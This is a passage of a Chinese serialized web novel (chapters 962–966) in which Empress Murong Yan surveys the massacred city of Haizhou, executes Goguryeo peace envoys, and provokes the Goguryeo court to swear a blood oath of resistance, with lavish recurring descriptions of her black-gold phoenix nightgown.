那沾染了庭院尘土、或许还有无形血气的凌乱墨金色拖尾与披肩下摆因这迅猛的回转被猛地带起! 如同从血池中升起的凤凰之翼,?唰啦一声,?扫过满是瓦砾的地面?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在血色夕阳映照下呈现出诡异暗红光泽的“满地织金”内衬!?? 百凤朝阳的纹路在夕阳下闪耀,但那金光仿佛也带着血的颜色,尊贵、辉煌,却更充满了死亡与诅咒的气息! 这惊鸿一瞥,不再是祥瑞,而是对一座城池毁灭的最终裁定! 裙摆落下,将那片诡异的血金色与满城的死寂一同掩盖。 慕容嫣步入了昏暗的府衙。林臻默默跟在她身后。他听到她用极轻的声音,?仿佛自言自语般说道?: “这下铁山城的冤魂可以安息了吧。” 她的声音里,听不出丝毫快意,只有无尽的疲惫与冰冷。 第962章 破败的海州城 圣徽二年,二月十三。海州城大屠杀已过去两日。 城中的火焰大多已熄灭,只余下零星黑烟从废墟中袅袅升起,如同枉死者不甘的魂灵。 那股浓烈到令人作呕的血腥味,非但没有消散,反而在春寒料峭中,与尸骸开始腐败的气息混合,形成一种更加甜腻而恐怖的恶臭,弥漫在城市的每一个角落,无孔不入。 慕容嫣下令大军在海州城休整五日。 这一日,晌午过后,天色依旧阴沉,铅灰色的云层低低压着死寂的城市。 她并未留在相对干净整洁的原守备府衙。 用罢午膳,她对身旁的林臻提出,?想出去走走,??“看看”这座城池。 林臻眼中闪过一丝复杂,?但并未劝阻。 他深知,这场屠杀由她下令,她必然要直面其后果。 他默默点头,?吩咐近卫营做好清场与护卫。 慕容嫣依旧穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙。 在这座充满死亡气息的城市里,她在外罩了一件华贵的黑金貂皮披肩,那长达五丈的苏锦拖尾,在残破的街道上完全展开,?凌乱地垂落,?拖行在身后。 她与林臻并肩,?走出了府衙大门。 林臻一身深色常服,?未着甲胄,?但腰佩长剑,?目光警惕而沉凝。一队精锐的黑甲近卫,手持刀盾,无声地散布在前后左右,将帝后二人护在中心,他们所过之处,早已有先遣士兵肃清街道,确保绝对安全。 踏出府衙门槛的瞬间,即便早有心理准备,那扑面而来的景象依旧让慕容嫣的脚步几不可察地顿了一下。 眼前,已非人间。 街道两旁,昔日还算齐整的屋舍,如今大多化为焦土残垣,焦黑的木梁歪斜地指向天空。 未被烧毁的墙壁上,布满了刀砍斧劈的痕迹和早已干涸发黑的喷溅状血渍。 路面坑洼不平,积着暗红色的血水,混合着泥泞和灰烬。随处可见散落的破碎家什、衣物,以及……残缺不全、肿胀发青的尸体。 有士兵的,更多是平民的,男人、女人、老人、甚至幼童,以各种扭曲的姿态倒毙在地,无人收殓,任由鸦雀与野狗啃食。 空气中死寂一片,只有偶尔风吹过废墟的呜咽声,以及远处士兵清理尸骸时铁锹铲土的沉闷声响。 慕容嫣面色平静,?仿佛戴上了一张完美的面具。 她迈步向前,?踏着沾染血污的碎石路,?那墨金色的拖尾,?不可避免地,?扫过地上的污秽,?留下蜿蜒的痕迹。 ?黑金貂皮披肩的绒毛在微风中轻颤,与这地狱般的景象形成极致诡异的对比。 ?神凤降世裙的华美,在此刻,不再是尊贵的象征,而更像是一种对死亡与毁灭的冷酷审视。 她走得很慢,?目光缓缓扫过两旁的惨状。 她看到一间半塌的店铺前,?一个孩童的布偶躺在血泊中,?脏污不堪。 她看到一口被砸碎的水井旁,?堆积着数具相互拥抱蜷缩的女性尸体;她看到一面断墙上,?用血写着模糊的高句丽文字,?似是诅咒,?又似是哀求。 林臻紧紧跟在她身侧,?他的目光更多落在慕容嫣身上,?观察着她的每一丝细微反应,?同时警惕着周围任何可能的危险。 他的手始终按在剑柄上,指节因用力而微微发白。 这场景,连他这久经沙场的悍将都感到心悸,他不知道身边的人,内心正经历着怎样的波澜。 慕容嫣始终没有说话。 她只是走着,?看着。 偶尔,她会在一处特别惨烈的景象前停下脚步,?静静地看上一会儿,?凤眸深处,?似有暗流涌动,?却又迅速归于平静。 他们穿过曾经可能繁华的市集,如今只剩下焦黑的骨架和散落的货物,一些瓷器碎片在脚下发出清脆的碎裂声,在这死寂中格外刺耳。 他们路过一座被焚毁的庙宇,残存的神像半埋在灰烬中,面目模糊。 走到一条相对宽阔、似乎是主干道的街口时,慕容嫣停下了脚步。 这里曾是战斗最激烈的地方,尸体堆积如山,虽然大部分已被清走,但地面已被血水浸透成了暗红色,空气中腐败的气味也最为浓烈。 几名士兵正在远处用马车运送尸体,铁链拖曳的声音单调而沉重。 一阵较强的寒风吹过,卷起地上的灰烬和碎纸,也吹动了慕容嫣斗篷的下摆和披肩的绒毛。 她微微仰起头,?看向城市更深处,?那里,?依旧是无尽的废墟与死寂。 就在这时,附近一处半塌的院落里,突然传来一声极其微弱的、婴儿的啼哭! 声音细若游丝,但在死寂中却异常清晰。 近卫们瞬间紧张起来,刀剑出鞘半寸,目光锐利地盯向那处院落。 慕容嫣也听到了。 她的目光,?转向那哭声传来的方向。她没有立刻下令,也没有移动,只是静静地听着那代表着生命与绝望的微弱声音。 林臻看向她,?低声道?:“嫣儿?” 慕容嫣沉默了片刻。那哭声持续着,断断续续,带着濒死的虚弱。 终于,她缓缓开口,?声音平静无波,?却带着一丝不易察觉的沙哑?:“去看看,若还活着送去伤兵营交给军医。” “是。”一名近卫领命,迅速而谨慎地带着两人向那院落摸去。 慕容嫣不再停留,?她转过身,?准备沿原路返回。 这趟“散步”,似乎该结束了。 就在她转身的刹那—— 动作带着一种阅尽惨状后的沉重与决绝! 那迤逦在血污地面上的、凌乱不堪的墨金色拖尾与披肩下摆因这迅猛的回转被猛地带起! 华贵的锦缎与貂皮拂过暗红的地面,?唰啦一声,?仿佛撩起了无数亡魂的叹息?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在阴沉天光下却仿佛凝聚了所有死亡与悲伤的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪现,但那金光此刻毫无暖意,只有一种冰冷的、如同墓碑般的辉光,尊贵、辉煌,却更映衬出脚下这片土地的绝望与死寂! 这惊鸿一瞥,不再是力量的展示,而是对一场人为灾难的无声烙印! 裙摆落下,将那片冰冷的金光重新掩埋于沉静的墨色与现实的残酷之下。 慕容嫣迈步向府衙走去,?步伐比来时似乎沉重了一些。 林臻默默跟上,?伸手,?轻轻扶住了她的手臂。 这一次,慕容嫣没有拒绝,?甚至微微靠向了他,?借助着他的力量行走。 回到府衙庭院,屏退了左右。 慕容嫣站在院中,?仰头望着依旧阴沉的天空,?久久不语。 她身上那件沾满了外面死城气息的貂皮已被宫女小心解下,?露出里面完好却仿佛也沾染了无形血气的神凤降世裙。 林臻走到她身边,?轻声问?:“嫣儿,你还好吗?” 慕容嫣没有立刻回答。 她低下头,?看着自己裙摆和拖尾上沾染的些许泥泞与暗红,?伸出手,?用戴着墨玉扳指的指尖,?轻轻拂过。 “夫君…”她终于开口,?声音很轻,?带着一丝疲惫,“你看这海州城像不像一座巨大的坟墓?” 林臻心中一痛,握住她微凉的手:“战争便是如此残酷。嫣儿,这不是你的错,是高句丽人先挑起的。” 慕容嫣摇了摇头,?嘴角勾起一抹极淡的,?苦涩的弧度?:“命令是朕下的,血是朕让流的…”她顿了顿,?目光重新变得坚定,?甚至带着一丝狠厉,“但朕不后悔,若重来一次朕还是会这么做,铁山城的血必须用血来洗刷,朕要让高句丽世世代代,记住这个教训!” 她说完,?不再看院外的景象,?转身向室内走去。 那墨金色的拖尾,?在身后,?划出一道沉重而决绝的轨迹。 林臻看着她的背影,?心中百感交集。 他知道,这场屠杀,必将成为她一生无法抹去的印记,也必将改变她,甚至改变这个帝国的未来。 第963章 到底是战是和? 圣徽二年,二月十五。 当慕容嫣在海州城的血腥废墟中休整兵马,准备下一步攻势时,千里之外的高句丽王都平壤,却已因海州陷落及随后发生的骇人听闻的大屠杀,而陷入了前所未有的恐慌与混乱之中。 消息通过侥幸逃出的零星溃兵和边境快马,如同瘟疫般传入王宫,每一个细节都带着血淋淋的残酷,击碎了高句丽统治阶层最后一丝侥幸心理。 平壤王宫,景福殿。 虽名为“景福”,此刻殿内却笼罩着比殿外凛冽春寒更刺骨的寒意。 炭火盆烧得再旺,也驱不散弥漫在空气中的恐惧与绝望。 高句丽王高藏,一位年仅十六岁、面色苍白的少年,瑟瑟发抖地蜷缩在鎏金王座上,如同惊弓之鸟。 真正掌权的摄政王高云,此刻也失去了往日的阴鸷沉稳,脸色铁青,负手在大殿中央烦躁地踱步,那双鹰隼般的眼睛里,充满了惊怒交加的血丝。 殿下,文武百官分列两旁,人人面色惨白,窃窃私语声如同蚊蚋,更添压抑。 海州城被屠的消息,像一块巨石压在每个人心头。 “废物!都是一群废物!”高云猛地停下脚步,一拳砸在身旁的蟠龙柱上,发出沉闷的响声,吓得少年国王浑身一颤。 “金武成这个蠢货!两万精锐,据守坚城,竟然连三天都撑不住!还有脸说什么大乾女子不堪一击?现在倒好,他自己成了瓮中之鳖,海州城海州城” 他说到后面,声音因愤怒和一丝难以掩饰的恐惧而颤抖,几乎无法继续说下去。 海州城数万军民被屠戮一空,这已不是战败,而是近乎种族灭绝的暴行! “王叔,现在该如何是好?”少年国王高藏带着哭腔问道,声音微弱。 高云深吸一口气,强行压下翻腾的气血,目光扫过台下群臣:“诸位!都说说吧!慕容嫣那个妖女已然疯魔!下一步,她必然剑指平壤!我高句丽,是战是和,今日必须有个决断!” 他的话音刚落,大殿内顿时如同炸开了锅。 主战派以大将朴正雄为首,立刻出列,他虽然也心有余悸,但依旧强撑气势,吼道:“摄政王!陛下!慕容嫣此女,残暴不仁,人神共愤!她今日敢屠海州,明日就敢屠平壤!求和?与虎谋皮!她岂会真心罢手?唯有举全国之力,与她决一死战!我高句丽山川险峻,民风彪悍,只要上下同心,未必不能将她挡在国门之外!即便战至最后一兵一卒,也绝不能向这牝鸡司晨的妖女屈膝投降!” 他的话语激愤,却掩饰不住底气不足。 “朴将军此言差矣!”老成持重的门下侍中文正淳立刻出言反驳,他须发皆白,此刻更是愁容满面,“战?拿什么战?海州乃我西部屏障,精兵良将顷刻覆灭!慕容嫣麾下兵锋之盛,火炮之利,岂是血肉之躯可挡?更何况” 他顿了顿,脸上露出极度恐惧的神色,声音压得更低,“更何况,那慕容嫣她根本不是常人啊!” 文正淳的话引起了众人的共鸣,许多大臣纷纷点头,脸上惧意更深。 “文侍中何出此言?”高云皱眉问道。 文正淳颤声道:“摄政王明鉴!据逃回来的士兵描述,那慕容嫣她攻城拔寨,乃至下令屠城之时身上穿的并非戎装铠甲,而是一身极其诡异华贵的黑色为底、金线绣凤的类似睡袍的衣裳?!” 他此言一出,殿内顿时响起一片倒吸冷气之声! 许多人早已听闻风声,但由文正淳这等重臣亲口说出,震撼力依旧惊人。 “荒谬!”朴正雄怒道,“两军阵前,岂有穿睡袍之理?定是溃兵吓破了胆,胡言乱语!” “绝非胡言!”另一位大臣,礼曹判书崔明浩接口道,他脸色发白, “下官也多方核实那衣裳溃兵们描述不一,但有几个关键点一致:?通体唯有玄黑与暗金两色,?材质似锦非锦,?极其轻薄却不失挺括上面用金线绣着一只巨大的、覆盖全身乃至身后漫长拖尾的凤凰?!他们称慕容嫣视之如命,除沐浴外时刻不离身,即便在尸山血海中那身衣裳也也一尘不染般华贵他们他们私下称其为‘神凤降世裙’?!” “神凤降世裙”高云喃喃重复着这个名字,只觉得一股寒气从脚底直窜头顶。 一件衣裳,竟被赋予如此名号,而且穿着者以此装扮行军打仗、下令屠城这已经完全超出了他对“正常”的认知范畴! 这不再是简单的服饰喜好,而是一种近乎邪异的象征! “还不止如此!”文正淳补充道,声音带着颤抖,“溃兵还说,她外面常罩着一件黑金色的貂皮披肩,那披肩华贵无比,但在屠城那日她坐在高处那披肩和那睡裙的拖尾就那样凌乱地拖在满是血污的地上,她毫不在意,还有她回身下令时裙摆飘起,竟然是刺眼无比的金色内衬?!金光闪闪如同地狱的业火!” 文正淳的描述,栩栩如生,带着强烈的画面感,让殿内所有听闻者,仿佛都看到了那个身着华美诡异睡裙、端坐于血海尸山之上、裙下露出刺眼金光的女魔头形象! 这种极致的反差,这种将极致奢华与极致残酷并置的视觉冲击,比任何青面獠牙的恶魔形象,都更令人感到心理上的不适与恐惧! “妖女!果然是妖女!”有大臣失声惊呼。 “这绝非人力可敌啊!”另一人面如土色地附和。 主和派的声音立刻占据了上风:“摄政王!陛下!慕容嫣已非常人!与之硬抗,无异以卵击石!海州之鉴,就在眼前!为今之计,唯有唯有遣使求和!哪怕割地赔款,称臣纳贡,也总好过好过举国被屠啊!” “求和?她刚屠了我海州数万军民!此刻求和,她岂会答应?只怕是自取其辱!”朴正雄梗着脖子反驳,但气势已弱了许多。 一想到要与那样一个不按常理出牌、且手段如此酷烈的对手交战,他心底也阵阵发虚。 “那也比坐以待毙强!”文正淳激动地说,“我们可以献上重礼,交出之前主张与王氏联络的官员甚至可以应她要求,处置相关人等以示诚意只求她罢兵息战。” 朝堂之上,主战与主和两派激烈争吵,唾沫横飞,但无论是哪一派,言语中都充满了对慕容嫣和那身神凤降世裙?的深深恐惧。 那身衣裳,已经成为了慕容嫣残酷、强大、不可理喻的象征,深深地烙印在每个高句丽大臣的心头。 高云听着下面的争吵,心烦意乱。 他何尝不想战? 但海州的惨状让他明白,双方的军力差距悬殊。 而慕容嫣那诡异的行事风格和狠辣手段,更让他感到一种未知的恐惧。 求和?诚如主战派所言,刚刚屠城就求和,希望渺茫。 更何况,让他交出自己人,屈膝求和,他摄政王的颜面何存? 高句丽的国格何存? 他抬头看向王座上瑟瑟发抖的侄儿,又看向台下吵成一团、却个个面露惧色的大臣,一股巨大的无力感和绝望感攫住了他。 他仿佛看到,那身墨金色的、绣着巨凤的睡裙,正带着凌乱的拖尾,?跨越千山万水,?向平壤蔓延而来,?那裙摆之下,?是血海,?是金光,?是毁灭。 “够了!”高云猛地大喝一声,打断了争吵。 殿内瞬间安静下来,所有目光都集中在他身上。 高云喘着粗气,目光扫过众人,最终,他颓然道:“传令,加固平壤及周边所有城防!征调所有可用之兵!准备决战,同时派人去大乾军营试探一下慕容嫣的口风。” 这是一个矛盾而绝望的决定。 既准备死战,又心存侥幸地想要求和。 这恰恰反映了高句丽统治阶层在慕容嫣的绝对武力与诡异威慑下,已然方寸大乱。 朝会在一片压抑和恐慌中散去。 高云独自站在空旷的大殿中,望着殿外灰暗的天空,仿佛能看到海州城冲天的血气。 他下意识地紧了紧衣袍,总觉得有一股来自西方的、带着血腥味的寒意,正穿透宫殿的墙壁,侵蚀而来。 第964章 两军交战,我杀来使 圣徽二年,二月十八。 海州城在死寂中又度过了三日。 大乾军队的休整接近尾声,城中的尸骸已被初步清理,堆积在城外几个巨大的深坑中,准备焚化。 焦糊与血腥的气味依旧浓烈,但一种新的、更加肃杀的紧张气氛,开始在军营中弥漫。 士兵们擦拭着刀剑,检查着弓弩,目光不时投向东方——平壤的方向。 所有人都知道,短暂的停留即将结束,更残酷的战斗就在前方。 这一日晌午,慕容嫣正在原海州守备府衙改建的行辕内。 她并未处理军务,?而是独自坐在庭院一角的石亭中。 亭子周围的血污已被清洗,但石缝间依旧残留着无法抹去的暗红。 她身穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?那件华贵的黑金貂皮披肩,?随意地搭在身旁的石凳上。 即便在休憩时,?神凤降世裙的华美与独特依旧夺目。? 极致玄黑的苏锦底料在亭子相对柔和的光线下,呈现出一种内敛的深邃,织入的金色棉绒与真金线流淌着静谧的辉光。 ?睡裙之上,那只擎天巨凤在静止时,少了几分沙场的戾气,多了几分沉淀下来的威仪。 ?宽大轻盈的喇叭袖一只软软垂在身侧,另一只则搭在铺着软垫的石桌上,?袖口金线流苏拂过桌面。 她左手拇指上的墨玉扳指,在微光下温润。 那长达五丈的苏锦拖尾,?并未刻意整理,?就那样迤逦地,?甚至有些慵懒地,?从石凳上垂落,?铺陈在亭内打扫过却仍显陈旧的地面上,?墨金色的锦缎与石地的冷硬,?形成一种孤高的对比。? 棉质的柔软与睡裙的舒适,让她在这片刚刚经历血洗的土地上,保持着一种近乎冷酷的平静。 林臻静立在亭外不远处,?没有打扰她。 他知道,这几日,她看似平静,实则内心正在酝酿着更大的风暴。 海州的屠杀,是一剂猛药,也是一道沉重的枷锁,锁住了她,也锁住了这场战争的走向,再无回旋余地。 就在这时,一阵急促而轻微的脚步声打破了庭院的宁静。 暗卫统领无声无息地出现在亭外阶下,躬身低语:“陛下,亲王殿下,高句丽派来使臣,现已至城外,请求觐见。” 慕容嫣原本微阖的双眸,?缓缓睁开。 眼中,没有意外,只有一片深不见底的寒潭。 她没有立刻回应,?而是伸出戴着墨玉扳指的指尖,?轻轻敲击着石桌桌面,?发出笃笃的轻响。 林臻走进亭内,?眉头微蹙?:“高句丽此时派使臣来?是战是和?” 他本能地感到一丝警惕。 慕容嫣嘴角,?勾起一抹极淡的,?冰冷的弧度?:“屠了海州才想起来求和?高云是把我慕容嫣当成三岁孩童了么?” 她的声音很轻,却带着刺骨的嘲讽。 “嫣儿的意思是不见?”林臻问道。 “见。”慕容嫣吐出一個字,?站起身。 那迤逦在地的墨金色拖尾随着她的动作滑落更多。 “为何不见?朕倒要看看他们能玩出什么花样,备驾前厅。” 片刻后,行辕前厅。 这里曾是海州守备接待上官的地方,如今陈设未大变,但空气中弥漫的肃杀之气,以及厅外持戟而立、眼神冰冷的黑甲卫士,无不提醒着来人此地主人的身份与权势。 慕容嫣端坐在主位之上,?并未更换衣物,?依旧是一身睡裙外罩长袍的装扮,?那件黑金貂皮披肩也重新披在了肩上。 林臻坐在她下首侧位,?面色冷峻。 厅内烛火通明,映照着她墨金色的身影,?华贵,?威严,?更带着一股刚从尸山血海中走出的血腥煞气。 “宣高句丽使臣——”内侍监高唱。 很快,一名身着高句丽文官礼服、年约五旬、面容清癯的老者,在两名随从的陪同下,战战兢兢地走入厅内。 使者名为金文翰,是高句丽王族远支,素以能言善辩著称。 然而,此刻他一踏入这大厅,感受到那几乎凝成实质的压迫感,尤其是看到主位上那位身着诡异华服、面色冰冷的年轻女子时,腿肚子便不由自主地开始打颤。 他强自镇定,按礼仪躬身行礼,声音却带着掩饰不住的颤抖: “外臣金文翰,奉我高句丽国王陛下及摄政王之命,参见大乾皇帝陛下,万岁,万岁,万万岁!” 慕容嫣没有叫起,?只是用那双冰冷的凤眸,?淡淡地扫视着他,?仿佛在打量一件没有生命的物品。 厅内一片死寂,只有烛火燃烧的噼啪声。 良久,慕容嫣才缓缓开口,?声音如同寒冰碰撞?:“高云派你来所为何事?” 金文翰咽了口唾沫,硬着头皮道:“回陛下!此前两国之间,多有误会,以致兵戈相向,生灵涂炭我主摄政王深感痛心!为免黎民再遭战火,特遣外臣前来,恳请陛下罢兵息战,重归旧好!我高句丽愿上表称臣,岁岁纳贡,永为藩属!并献上黄金十万两,骏马千匹,明珠百斛以示诚意!” 他一边说,一边偷偷观察慕容嫣的脸色,心中祈祷着这丰厚的条件能打动对方。 “称臣?纳贡?”慕容嫣轻笑一声,?笑声中充满了不屑,“高云是不是忘了海州城数万冤魂还在看着呢?” 她的目光陡然锐利如刀, “几句轻飘飘的称臣纳贡就想抹平这一切?就想让朕放过你们这些屠戮朕子民的刽子手?!” 金文翰吓得浑身一抖,连忙伏地叩首:“陛下息怒!陛下息怒!海州之事实乃守将金武成擅自妄为,绝非我主本意!我主已下令严惩相关人等!只要陛下肯罢兵,我主愿将金武成家眷悉数绑送陛下驾前,听凭发落!只求陛下给高句丽一条生路!” 他几乎是在哀求了,将一切罪责推给了已成俘虏的金武成。 “生路?”慕容嫣缓缓站起身。她踱步走下主位,?那凌乱的墨金色拖尾在身后拖曳,?发出细微的沙沙声,?在死寂的厅内,?如同催命的鼓点。 她走到金文翰面前,?居高临下地俯视着他。 “你们高句丽给过铁山城百姓生路吗?”她的声音不高,却字字如锤,敲在金文翰心上,“你们屠城的时候可曾想过给他们一条生路?!现在知道怕了?想求和了?!” 金文翰冷汗涔涔,头埋得更低,不敢回答。 慕容嫣猛地转身,?面向厅门方向,?声音陡然提高,?带着无尽的杀意?: “回去告诉高云告诉高藏小儿!朕不要他们的称臣纳贡!也不要什么金武成的家眷!朕要的是他们的项上人头!是平壤城的血流成河!要用你们高句丽皇族的血来祭奠我大乾死难的将士和百姓!此仇不共戴天!唯有死战方休!” 她的宣言,如同惊雷,炸响在厅内每一个人的耳边! 金文翰吓得瘫软在地,面如死灰! “至于你,”慕容嫣回身,?目光冰冷地落在金文翰身上,“带着你的求和书和你那套虚伪的说辞下地狱去吧!来人!” “在!”厅外卫士轰然应诺。 “将此逆使拖出去斩首!首级悬挂城门示众!随从尽数剐杀!朕要让高句丽上下都知道,求和是死路一条!唯有死战到底!” 慕容嫣的声音,?没有一丝波澜,?仿佛在说一件微不足道的小事。 “陛下!陛下饶命啊!”金文翰发出凄厉的惨叫,但立刻被如狼似虎的卫士堵住嘴,粗暴地拖了出去。 他的随从也在一片哭喊求饶声中被拖走。 厅内很快恢复了寂静,只剩下空气中若有若无的血腥味似乎又浓了几分。 慕容嫣站在原地,?胸口微微起伏。 下达了如此残酷的命令,她的脸上却看不出丝毫动容。 林臻走到她身边,?轻轻握住她微凉的手。 他能感觉到,她的手心,有一丝不易察觉的颤抖。 “嫣儿,”他低声唤道,眼中带着担忧。 慕容嫣反手紧紧握住他的手,?力道很大。 她没有看他,?目光依旧望着厅外,?仿佛能穿透墙壁,?看到那颗即将被悬挂的首级。 “夫君,”她的声音带着一丝疲惫,?却异常坚定,“我们没有退路了,从海州城破的那一刻起,就没有了,要么踏平平壤,要么你我葬身于此。” “我明白。”林臻沉声道,“无论前路如何,为夫永远在你身边。” 慕容嫣点了点头。她松开他的手,?转身,?向厅后走去。 步伐沉稳,背影决绝。 就在她即将步入后堂的刹那,?似乎心有所感,?她忽然回身,?最后看了一眼那空荡荡的厅堂。 这一回身,动作带着斩断一切幻想的决绝! 那迤逦在地、沾染了厅堂尘埃的凌乱墨金色拖尾与披肩下摆因这迅猛的回转被猛地带起! 华贵的锦缎与貂皮如同被决绝的意志驱动,?唰啦一声,?在空中划出一道凌厉的弧线?! 随着拖尾的骤然飘起——赫然露出了里面那金线密织、在烛光下璀璨如寒刃出鞘的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间迸发出耀眼夺目的金芒,那金光不再温暖,而是充满了钢铁般的意志与不死不休的杀伐之气! 这惊鸿一瞥,是对和谈的最终否决,是向高句丽发出的、最赤裸的血战宣言! 裙摆落下,将那片冰冷的金光与厅外即将发生的血腥一同掩盖。 慕容嫣的身影,?消失在通往内室的廊道阴影中。 厅内,只剩下林臻和摇曳的烛火。 第965章 全国上下,死战到底 圣徽二年,二月二十。 平壤王宫,景福殿。 与几日前的争吵喧嚣不同,此刻的大殿笼罩在一片死水般的沉寂中,但这沉寂之下,是即将喷发的火山。 炭火盆依旧烧得噼啪作响,却仿佛在灼烤着殿内每一个人紧绷的神经。 空气中弥漫着一种混合了恐惧、绝望、以及被逼到绝境后滋生出的疯狂气息。 高句丽王高藏,脸色惨白如纸,蜷缩在王座上,身体不住地微微颤抖,若非王座的扶手支撑,他几乎要滑落下去。 摄政王高云,站在王座之侧,原本阴鸷的面容此刻更添了几分狰狞的扭曲,他双手死死攥着拳头,指节因用力而发白,手背上青筋暴起。 殿下,文武百官垂首肃立,无人敢发出一丝声响,连呼吸都刻意压抑着。 所有人的目光,都或明或暗地聚焦在殿中央,那覆盖着白布的木盘之上。 那下面,盛放的是昨日派往海州求和的使臣金文翰,以及其随从们,被送回来的头颅。 一名内侍战战兢兢地跪在木盘旁,刚刚颤抖着禀报了海州之行的结果。 使团甫一表明来意,还未及详细陈述求和条件,便被慕容嫣下令全部处斩,首级送回“以儆效尤”。 慕容嫣更是放言,要踏平平壤,用高句丽皇族的血祭奠大乾亡魂,唯有死战,方休! 死一般的寂静持续了良久,终于被高云一声如同受伤野兽般的低吼打破: “慕容嫣!妖女!欺人太甚!!!” 他猛地一脚踹翻了身旁的香炉,炉灰和未燃尽的香料泼洒一地,吓得近前的几个大臣连连后退。 “王叔……”少年国王带着哭腔,声音细弱蚊蝇。 高云猛地转头,布满血丝的眼睛死死盯着高藏,又扫过台下群臣,声音因极致的愤怒而变得沙哑尖利: “你们都听到了?!都看到了?!求和?称臣?纳贡?没用!统统没用!那妖女要的不是这些!她要的是我们所有人的命!要的是我高句丽社稷倾覆,宗庙焚毁!她连求和使臣都杀!这是要将我们赶尽杀绝啊!” 台下,原本的主和派代表,门下侍中文正淳,此刻老脸煞白,嘴唇哆嗦着,再也说不出一句求和的话来。 事实摆在眼前,慕容嫣用最血腥的方式,堵死了所有妥协的可能。 他颓然闭上眼睛,两行浑浊的老泪顺着脸颊滑落。 主战派大将朴正雄,此刻反而冷静了下来,但那种冷静,是一种带着死寂的绝望。 他出列,单膝跪地,声音沉痛而决绝:“摄政王!陛下!事已至此,再无转圜余地!慕容嫣此举,已绝我高句丽上下求生之念!唯今之计,只有倾全国之力,与这妖女血战到底!即便……即便最终城破国亡,也要崩碎她几颗牙齿,让她知道我高句丽儿郎,绝非任人宰割的羔羊!” 他的话音落下,殿内竟无人反驳。 连最胆怯的文官,此刻眼中也露出了兔死狐悲的绝望与一丝被激发出的凶性。 求和是死,投降恐怕也是死,那还不如拼死一战! 慕容嫣的狠辣,反而意外地催生出高句丽统治阶层最后一丝团结的死志。 “没错!跟她拼了!” “血战到底!” “保卫平壤!保卫高句丽!” 零星的呼喊开始响起,逐渐汇聚成一股悲壮的声浪。 恐惧并未消失,只是被更强烈的绝望和愤怒暂时压制了。 高云看着台下群情激愤,或者说悲愤的臣子,心中那股巨大的无力感反而被一种破罐子破摔的疯狂所取代。 他深吸一口气,强行压下喉咙口的腥甜,走到殿中央,指着那盛放首级的木盘,厉声道:“好!既然她慕容嫣不给活路,那就休怪我们鱼死网破!金侍中的血,不会白流!传本王令!” 殿内瞬间安静下来,所有目光聚焦于他。 “第一!即刻起,平壤全城戒严,实行军管!所有十五岁以上、五十岁以下男丁,全部征召入伍,发放兵器,参与守城!敢有违令者,斩!” “第二!拆除城内所有非必要建筑,砖石木料全部运上城墙,充作滚木礌石!集中所有火油、金汁,备战!” “第三!开放王室府库及各大臣私库,将所有存粮、财物,优先供应守城将士!告诉将士们,国若亡,要这些身外之物何用?若能守住,本王与陛下,绝不吝封赏!” “第四!”高云的目光扫过在场所有武将,“朴正雄将军!” “末将在!” “命你为平壤城防总大将,全权负责城防事宜!其余诸将,皆听其调遣!若有畏敌不前、临阵脱逃者,朴将军可先斩后奏!” “末将遵命!誓与平壤共存亡!”朴正雄重重叩首。 “第五!”高云最后将目光投向那些文官,“所有文臣,按品阶分守各段城墙,督战抚民!城在人在,城亡人亡!” 一道道命令,充满了决绝与悲壮。 这已不再是正常的军事部署,而是一个王朝在面临灭顶之灾时,倾尽所有的最后挣扎。 命令下达完毕,高云缓缓走到那个木盘前,猛地掀开了白布! 几颗面色惊恐、死不瞑目的头颅赫然暴露在众人眼前! 引起一片压抑的惊呼。 高云拔出腰间佩刀,刀锋划过手掌,鲜血顿时涌出! 他将血滴入内侍早已备好的酒坛中,然后举起酒坛,目光扫过众人,声音嘶哑却充满蛊惑力:“诸位!今日,我等便以这血酒为誓!与那慕容嫣妖女,血战到底!宁为玉碎,不为瓦全!饮下此酒,共赴国难!” 说罢,他仰头猛灌了一口血酒,然后将酒坛递给身旁的国王高藏。 高藏吓得浑身发抖,但在高云逼视下,还是颤抖着喝了一小口。 接着,酒坛在文武百官中传递,每个人,无论情愿与否,都饮下了这混合着使臣鲜血的“盟誓之酒”。 酒入喉中,带着一股铁锈般的腥味,更带着一种令人窒息的绝望与疯狂。 当最后一人饮毕,高云将酒坛狠狠摔在地上,碎片四溅! “好!”他嘶声吼道,“从现在起,我高句丽,唯有战死的鬼,没有投降的人!让那慕容嫣,和她那身不伦不类的神凤降世裙,一起来吧!看看是她那黑金色的凤凰厉害,还是我高句丽千万军民的血肉之躯,筑起的城墙坚固!” 他的话语,充满了歇斯底里的疯狂。 那身他从未亲眼见过的墨金色睡裙,此刻在他和所有高句丽权贵心中,已不再是华美的服饰,而是毁灭与死亡的化身,是必须倾尽一切去对抗的梦魇。 朝会在一片悲壮而绝望的氛围中结束。 大臣们默默退出景福殿,每个人的脸上都写满了凝重与决绝。 他们知道,平壤,这座高句丽最后的堡垒,即将迎来一场注定血流成河的死战。 第966章 最爱的人 圣徽二年,二月二十二,夜。 海州城在经历白日里最后的紧张备战後,陷入了一种暴风雨前的短暂宁静。 城墙之上,火把如龙,哨兵的身影在夜色中来回巡弋,警惕地注视着东方黑暗的旷野。 城内军营,除了必要的岗哨,大部分士兵已奉命早早歇息,养精蓄锐,准备迎接即将到来的、直捣黄龙的最终决战。 原守备府衙,如今慕容嫣的行辕内,却是另一番光景。 地龙烧得暖融,驱散了辽东早春之夜的寒意。 书房内,烛火通明,却并不显得肃杀,反而因着烛光的柔和与室内陈设的雅致,透出几分难得的温馨。 慕容嫣并未在批阅军报。 她慵懒地侧身坐在铺着厚厚白虎皮的宽大软榻上,?身下垫着好几个柔软的引枕。 她依旧穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?只是在这私密温暖的空间里,象征威仪的黑金貂皮披肩和庄重的霞帔依旧穿着,?貂皮的?带子并未系紧,?更显居家的随意与慵懒。 ?神凤降世裙在书房温暖的烛光下,焕发出与战场上截然不同的柔和华光。 ?极致玄黑的苏锦底料吸吮着橘黄色的火光,色泽愈发沉静深邃,仿佛能将所有光线都吸纳进去,只留下内敛的尊贵。 织入的金色棉绒与真金线,不再反射冷冽的寒光,而是流淌着温暖而细腻的暗金波光,如同夕阳下静谧的湖面。 